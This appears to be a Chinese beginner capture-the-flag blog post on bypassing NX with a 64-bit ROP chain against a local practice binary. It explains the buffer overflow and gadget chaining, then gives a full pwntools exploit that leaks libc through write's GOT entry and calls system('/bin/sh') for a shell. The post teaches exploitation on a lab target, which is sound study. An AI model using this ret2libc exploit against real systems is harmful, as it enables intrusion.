7.pwn入門新手練習NX 棧不可執行的繞過方式--ROP鏈

文件地址

提取碼5o0a
參考文章
https://blog.csdn.net/weixin_30265103/article/details/98536901?utm_source=distribute.pc_relevant.none-task
我們先看看它開了那些保護 看到了 只開了nx
在這裏插入圖片描述在這裏插入圖片描述
漏洞很明顯

可以看到 buf 這個字符串數組只有0x80的大小,但是卻可以 read 0x200 個字節
多出來的 0x200-0x80 就會造成溢出
32位程序默認調用函數的方式爲先將參數壓入棧中,靠近call指令的是第一個參數
而64位程序默認調用函數的方式則不同

RDI 中存放第1個參數
RSI 中存放第2個參數
RDX 中存放第3個參數
RCX 中存放第4個參數
R8 中存放第5個參數
R9 中存放第6個參數
如果還有更多的參數,再把過多那幾個的參數像32位程序一樣壓入棧中
然後 call

rop 的基本介紹

這裏只說一下64位程序的rop,瞭解完64位的rop,32位的程序稍微做一下函數調用方式上的改變就好了
比如:現在有3個函數 a(&arg1,arg2),b(arg3,arg4),c(arg1),其中b函數有棧溢出漏洞,a函數是個輸入函數,c函數是system函數
我們要利用b函數的漏洞,運行c函數,而c函數需要從a函數上得到"/bin/sh"這種參數
該怎麼做呢?
首先我們要知道 call 指令與 ret 指令是有兩步操作的
call指令:

  1. 先把下一句指令的地址壓入棧頂 rsp+=8
  2. 跳轉到call後面跟的地址上去
    ret指令:
  3. 跳轉到rsp所指的地址(之前的call壓入的)
  4. rsp-=8
    如果我們調用函數時不使用call指令呢?
    函數結束時,移動棧頂(清棧) jmp [rsp] ,rsp-=8
    程序中找 pop rsi,pop rdi,ret 這種相連的指令(不相連也可以,不要再影響rsi,rdi就好),把地址記錄下來pop_ret
    程序中找 pop rdi,ret 這種相連的指令,把地址記錄下來pop_ret2
    好,我們把c函數的rbp+8的位置寫 pop_ret 的地址
    rbp+8 pop_ret
    rbp+16 arg2
    rbp+24 arg1
    rbp+32 a函數的地址
    rbp+40 pop_ret2
    rbp+48 arg1
    rbp+56 c函數的地址
    當b運行結束後,會返回到 pop_ret 位置
    pop rsi rsi=arg2
    pop rdi rdi=agr1
    jmp a函數
    a函數 執行完後 會ret 到pop_ret2
    pop rdi rdi=arg1
    然後運行c函數

我們對這個文件gdb運行一下
開始的時候發現沒有權限
我們用
把他的權限更改了
chmod -r 777 文件名
這樣就可以運行了

看到了libc的系統位置在這裏插入圖片描述ROPgadget --binary 文件 --only ‘pop|ret’
在這裏插入圖片描述`

from pwn import*
p=process("./level3_x64")#本地調試
libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
elf = ELF("./level3_x64")
pop_rdi_ret=0x4006b3
pop_rsi_r15_ret=0x4006b1
main_addr=0x40061a
write_plt=elf.plt['write']
write_got=elf.got['write']
payload1=(0x80+8)*'a'
payload1+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)
payload1+=p64(write_got)+p64(0)+p64(write_plt)
payload1+=p64(main_addr)
#通過plt表中的write調用 write(1,write_plt,...)
#第三個參數只要當前rdx寄存器中的數大於8就好
#然後返回main函數重新運行,準備重新觸發漏洞
p.sendafter("Input:\n",payload1)
addr = u64(p.recv(6).ljust(8,"\x00"))
#通過write_plt找泄露libc中write的地址 
libc.address = addr - libc.symbols["write"]
#通過write的地址 找libc基地址
binsh=libc.search("/bin/sh").next()
#通過libc基地址找libc中這個字符串的地址
system=libc.symbols["system"]
#通過libc基地址找libc中systemp函數的地址
payload2 = (0x80+8)*'a' + p64(pop_rdi_ret)+ p64(binsh)+p64(system)
#system("bin/sh") 
p.send(payload2)
p.interactive()




`

`

`

發佈了7 篇原創文章 · 獲贊 13 · 訪問量 1430
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章